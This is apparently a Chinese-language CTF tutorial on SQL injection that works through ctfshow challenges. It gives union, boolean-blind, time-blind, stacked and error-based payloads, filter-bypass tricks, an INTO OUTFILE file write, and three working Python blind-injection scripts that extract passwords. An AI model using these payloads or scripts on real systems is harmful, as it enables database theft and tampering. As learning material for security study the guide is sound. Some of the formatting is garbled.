简介

SQL(Structured Query Language,结构化查询语言)是一种用于管理和操作关系型数据库的标准化编程语言。

其中常见的mysql数据库便是如此。

而sql注入就是结合sql语法,构造恶意输入,使得服务器返回本不应该返回的信息。

sql的基本语法可以参考:SQL 语法 | 菜鸟教程

1

数据类型从大到小为:
数据库(database)–> 表(table) –> 列(column) –> 数据

也就是我们要定位一个数据,要知道它所处的数据库,表,乃至列。

其中,sql有一个特殊的数据库:information_schema,它存储着所有的数据库名,表名

以下为information_schema库的常用表名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
1.schemate
描述:提供了当前MySQL实例中所有数据库的信息。
关键字段:
schema_name:数据库名。
default_character_set_name:数据库的默认字符集。
default_collation_name:数据库的默认校对规则。
用途:用于查询所有数据库的名称。
2.tables
描述:提供了关于数据库中的表的信息(包括视图)。
关键字段:
table_schemea:数据库名。
table_name:表名。
table_type:表类型(如base table表示基本表,view表示视图)。
engine:表的存储引擎。
用途:用于查询指定数据库中的所有表名。
3.columns
描述:提供了表中的列信息。
关键字段:
table_schema:数据库名。
table_name:表名。
column_name:列名。
data_type:列的数据类型。
character_maximum_length:字符类型的最大长度(对于非字符类型,该值为null)。
is_nullable:列是否允许null值。
用途:用于查询指定表中的所有列名和数据类型等信息。

sql注入的类型

最基础的查询

比如说,下方的语句是一个根据用户输入的id来查找用户名和密码的语句:

1
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

其中的id是受我们控制的。程序本意是通过id来定位对应的用户名和密码。

但是,我们可以构造一个简单的恶意输入,即1’ or 1=1 –+ 。

其中,–是注释符号,+会被url解码成空格,以此防止–和‘直接接触引发报错。当然,你用#来注释也是可以的

当我们输入这个的时候,语句也就变成了:

1
$sql = "select username,password from user where username !='flag' and id = '1' or 1=1 -- ' limit 1;";

忽略掉注释内容,也就变成了:

1
select username,password from user where username !='flag' and id = '1' or 1=1 --

1=1是永真式,因此也就查找出了所有语句,包括username=flag的数据。

这个为字符型闭合。与之相对的是数字型闭合。

两者的区别很简单,就是要不要加引号。

比如

1
$sql = "select username,password from user where username !='flag' and id = ".$_GET['id']." limit 1;";

这时候使用id= 1 or 1=1 –+即可,无需引号。

联合注入

在sql有一种特殊的查询手段叫联合查询:UNION

它将两张表的某些字段的记录相加(并集)(注意:列数要相同)

因此也是我们注入时候常用的手段。

在使用时,我们往往会使用order来判断有多少列数据。

比如
输入?id=1’ order by 3 –+
输入?id=1’ order by 4 –+
发现输入第一句时回显正常,输入第二句时报错。

可以证明前面查询了三列数据。

或者我们可以一个个尝试,一般而言不会太多。

以ctfshow的web172为例子。

其中查询语句:

1
2
3
//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑

1
2
3
4
//检查结果是否有flag
if($row->username!=='flag'){
$ret['msg']='查询成功';
}

可以发现我们之前使用的方法不能用了,因为它会检测返回的结果。

因此,我们要想个办法,使得username不为flag但是password为flag内容

使用联合查询。

先查所在的数据库名字:

1
1' union select database() , --+

发现报错,于是添加数据。

1
1' union select 1,database() , --+

查出数据库名为 ctfshow_web。

然后查表名

1
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+

发现有两个表,

分别为 ctfshow_user和ctfshow_user2

这时候两个都尝试一下就好了。

查table

1
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user2'--+ 

查数据

1
1' union select 1,group_concat(password) from ctfshow_user2--+

布尔盲注

如果网站只有两个不同的返回结果,就可以采用布尔盲注。

比如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 判断数据库长度
1' and length(database()) > 5 --+

# 逐个字符猜解数据库名
1' and ascii(substr(database(),1,1)) > 100 --+
1' and ascii(substr(database(),1,1)) = 115 --+ # 115对应's'

# 判断表名
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) > 100 --+

# 判断列名
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)) > 100 --+

# 获取数据
1' and ascii(substr((select password from users limit 0,1),1,1)) > 100 --+

python脚本模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
import requests  # 导入requests库,用于发送HTTP请求
import time # 导入time库,用于添加延时控制

class AdvancedBooleanBlind:
"""
高级布尔盲注类
功能:通过布尔盲注技术,从存在SQL注入漏洞的网站中提取数据
"""

def __init__(self, url, true_indicator, false_indicator=None):
"""
初始化方法,创建注入器实例时自动调用

参数:
url: 目标URL地址,例如 "http://target.com/page.php"
true_indicator: 判断条件为真时的页面特征字符串
(比如正确页面包含"Welcome"字样)
false_indicator: (可选)判断条件为假时的页面特征字符串
"""
self.url = url # 保存目标URL到实例变量
self.true_indicator = true_indicator # 保存真值判断特征

def binary_search(self, query, pos):
"""
使用二分法快速猜解指定位置的字符

二分法原理:
1. 从ASCII码32-126的范围开始
2. 每次取中间值,判断字符是否大于中间值
3. 根据判断结果缩小范围,直到精确找到字符

参数:
query: SQL查询语句,例如 "SELECT password FROM users"
pos: 当前要猜解的字符位置(从1开始计数)

返回:
猜解出的字符,如果猜解失败返回'?'
"""
low, high = 32, 126 # 设置ASCII码搜索范围
# 32是空格,126是波浪号~,覆盖了所有可打印字符

while low <= high: # 当搜索范围有效时继续循环
# 计算中间值(二分查找的关键)
mid = (low + high) // 2

# 构造第一个payload:判断字符是否大于中间值
# 例如:1' and ASCII(SUBSTR((SELECT password FROM users), 1, 1)) > 100 --+
payload = f"1' and ASCII(SUBSTR(({query}), {pos}, 1)) > {mid} --+"

# 发送payload并检查页面返回结果
if self.check(payload):
# 如果条件为真(字符ASCII > mid),说明字符在[mid+1, high]区间
low = mid + 1 # 将下界提高到mid+1
else:
# 如果条件为假(字符ASCII <= mid),说明字符在[low, mid]区间

# 构造第二个payload:判断字符是否等于中间值
payload = f"1' and ASCII(SUBSTR(({query}), {pos}, 1)) = {mid} --+"

if self.check(payload):
# 如果等于中间值,说明找到了正确的字符
return chr(mid) # 将ASCII码转换为字符并返回

# 如果不等于中间值,说明字符在[low, mid-1]区间
high = mid - 1 # 将上界降到mid-1

# 如果循环结束还没找到,返回'?'表示猜解失败
return '?'

def check(self, payload):
"""
发送payload到目标服务器并判断页面返回结果

参数:
payload: 注入的SQL语句,例如 "1' and 1=1 --+"

返回:
True: 页面包含真值特征(条件为真)
False: 页面不包含真值特征(条件为假)或请求失败
"""
try:
# 构造完整的URL
# 例如:http://target.com/page.php?id=1' and 1=1 --+
full_url = f"{self.url}?id={payload}"

# 发送GET请求,设置3秒超时防止卡死
r = requests.get(full_url, timeout=3)

# 检查响应文本中是否包含真值特征字符串
# 如果包含,说明我们的条件为真;否则为假
return self.true_indicator in r.text

except Exception as e:
# 如果请求超时或发生其他错误,返回False
# 这样可以避免程序因为网络问题而崩溃
return False

def get_data(self, query, max_length=50):
"""
主方法:获取完整的查询结果数据

参数:
query: SQL查询语句,例如 "SELECT database()"
max_length: 最大猜解长度,防止无限循环(默认50)

返回:
完整的查询结果字符串
"""
result = "" # 初始化结果字符串

# 循环猜解每一个位置的字符
# pos从1开始,因为SQL中的SUBSTR函数位置从1开始计数
for pos in range(1, max_length + 1):
# 调用二分搜索猜解当前位置的字符
char = self.binary_search(query, pos)

# 如果返回'?',说明可能已经超出了实际字符串长度
# 或者猜解失败,此时停止循环
if char == '?':
break

# 将猜解出的字符添加到结果中
result += char

# 实时打印进度,\r表示覆盖当前行,实现动态显示效果
# end="" 表示不换行,使进度在同一行显示
print(f"\r[+] 已猜解: {result}", end="")

# 延时0.1秒,避免请求过快触发WAF(Web应用防火墙)
time.sleep(0.1)

# 返回完整的猜解结果
return result

# 使用示例部分
if __name__ == "__main__":
"""
当直接运行此脚本时执行的代码
"""

# 1. 设置目标URL
# 注意:这里使用的是示例域名,实际使用时需要替换为真实目标
url = "http://target.com/page.php"

# 2. 创建注入器实例
# 需要知道页面在条件为真时的特征,比如 "Welcome"、"Success"等
injector = AdvancedBooleanBlind(url, "true_string")

# 3. 执行注入攻击
# 尝试获取users表中的第一个用户的密码
data = injector.get_data("SELECT password FROM users LIMIT 0,1")

# 4. 打印最终结果
print(f"\n[+] 最终结果: {data}")

以ctfshow web174为例子。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests
payload = "0' union select 'a',if(ascii(substr((select password from ctfshow_user4 where username='flag'),{},1))>{},'cluster','boom') %23"

url = "http://1a4ab30a-cae4-439b-bbde-dddb10c3e851.challenge.ctf.show/api/v4.php?id="


def test_chr(index: int, offset: int):
    response = requests.get(url + payload.format(index, offset))
    #print(response.text)
    assert "cluster" in response.text or "boom" in response.text

    if "cluster" in response.text:
        return True
    elif "boom" in response.text:
        return False

index = 1
flag = ""
while True:
    start = 32
    end = 127
    while True:
        if abs(start-end) == 1 or start == end:
            break
        point = (start + end) // 2
        if test_chr(index, point):
            start = point
        else:
            end = point
    if end < start:
        end = start
    flag += chr(end)
    print(f"[*] flag: {flag}")
    index += 1
   

时间盲注

结合返回数据时间进行的盲注,主要使用substr,if,sleep函数

SUBSTR 函数用于从字符串中提取子字符串。

语法:SUBSTR(string, start_position, [length])

if函数跟其他语言的if一样。有三个参数,第一个参数是条件,第二个是真返回的语句,第二个是假返回的语句。

sleep延时函数,sleep(3)就是程序暂停三秒的意思。

以ctfshow web175为例子

检测方法:

1
1' and if(1=1,sleep(3),1)--+

意思是如果1=1,则sleep(3)延迟三秒,否则返回1

可以明显看到网站进行了延时。

因此可以采取时间盲注。

以下为常见的模板脚本脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# @Author:Y4tacker
import requests
url = "http://ba76949e-7eb1-43c8-9627-e4bec656336d.challenge.ctf.show/api/v5.php?id=1' and "

result = ''
i = 0
while True:
    i = i + 1
    head = 32
    tail = 127
    while head < tail:
        mid = (head + tail) >> 1
        payload = f'1=if(ascii(substr((select password from ctfshow_user5 limit 24,1),{i},1))>{mid},sleep(2),0) -- -'
        try:
            r = requests.get(url + payload, timeout=0.5)
            tail = mid
        except Exception as e:
            head = mid + 1
    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

堆叠注入

在 MySQL、SQL Server、PostgreSQL 等数据库中,分号表示一条 SQL 语句的结束。当后端数据库访问接口(如 PHP 的 mysqli_multi_query())支持一次执行多条语句时,攻击者可在原有语句后添加分号并拼接新的 SQL,从而突破原语句的限制。

以ctfshow web195为例子。用;终止上条查询语句,然后我们就可以用更新语句来修改表内内容

1
0;update`ctfshow_user`set`pass`=1

密码输入
1
提交两次即可,第一次触发修改。

报错注入

报错注入的核心在于利用数据库的报错函数,例如 MySQL 提供的 updatexml() 函数。当第二个参数包含特殊符号时会报错,并将第二个参数的内容显示在报错信息中。

常见的函数:

extractvalue 和 updatexml

对应payload

1
?id=1" and (select updatexml(1,concat(0x23,(select database())),0x23))--+

floor(要求表足够大)

原理:触发主键重复冲突,重而通过报错得知主键

比如

1
select count(*), concat((select database()), floor(rand(0)*2)) x from users group by x;
  • concat((select database()), floor(rand(0)\*2)):将查询到的数据库名与 01 拼接,构造出一个新的字符串键,比如 "security1""security0"

  • 当上述的“主键重复”报错发生时,MySQL 会抛出如下错误:

    • ERROR 1062 (23000): Duplicate entry 'security1' for key 'group_key'
      
      1
      2
      3
      4
      5

      - 于是,原本应该在查询结果里显示的数据库名 **"security"**,因为报错,被直接带到了错误信息里。

      对应payload

爆库
SELECT * FROM user_rule WHERE id = 1 AND (SELECT 1 from
(SELECT count(*),concat(0x23,(SELECT schema_name from information_schema.schemata LIMIT 0,1),0x23,floor(rand(0)2)) as x
from information_schema.COLUMNS GROUP BY x)
as y)
爆表
SELECT * FROM user_rule WHERE id = 1 AND (SELECT 1 from
(SELECT count(
),concat(0x23,
(SELECT table_name from information_schema.TABLES WHERE table_schema = database() LIMIT 0,1),
0x23,floor(rand(0)2)) as x
from information_schema.COLUMNS GROUP BY x)
as y)
爆列
SELECT * FROM user_rule WHERE id = 1 AND (SELECT 1 from
(SELECT count(
),concat(0x23,(SELECT column_name from information_schema.COLUMNS where table_name = ‘members’ LIMIT 0,1),
0x23,floor(rand(0)*2)) as x
from information_schema.COLUMNS GROUP BY x)
as y)

1
2
3
4
5
6
7
8
9
10
11
12

以ctfshow

# 常见绕过

### 进行编码

当返回逻辑有检验的时候,可以对返回的内容进行编码,常见的有base64和hex,比如

```php
1' union select 1,2,to_base64(password) from ctfshow_user3 where username='flag'--+
-1' union select 1,to_base64(username),hex(password) from ctfshow_user3 --+

可以参考ctfshow web173

进行替换

当返回检测很严格的时候可以采取替换,即replace()函数,比如:

1
0' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J'),'a' from ctfshow_user4--+

可以参考ctfshow174

双写绕过

适用于将关键词删除的绕过方法

比如UNIUNIONON删去UNION后就是UNION

二次绕过

也就是第一次往数据库写入东西,第二次结合第一次的内容进行注入。

读写文件

用于有可写权限但是严格过滤的环境。

以ctfshow web175为例子

1
id=1' union select 1,password from ctfshow_user5 into outfile '/var/www/html/1.txt'--+

大小写绕过

sql语句是大小写不敏感的,因此可以使用大小写绕过。

以ctfshow web176为例子

1
2
1' Union Select 1,2,database()
1' Union Select 1,2,password from ctfshow_user --+

绕过空格

过滤空格,使用/**/注释绕过,或者%09tab水平制表符, %0c也行

以ctfshow web181为例子

1
1'%0cunion%0cselect%0c1,2,password%0cfrom%0cctfshow_user--%0c

常用工具

sqlmap

sqlmap是我们经常使用的自动化注入工具

以ctfshow213为例子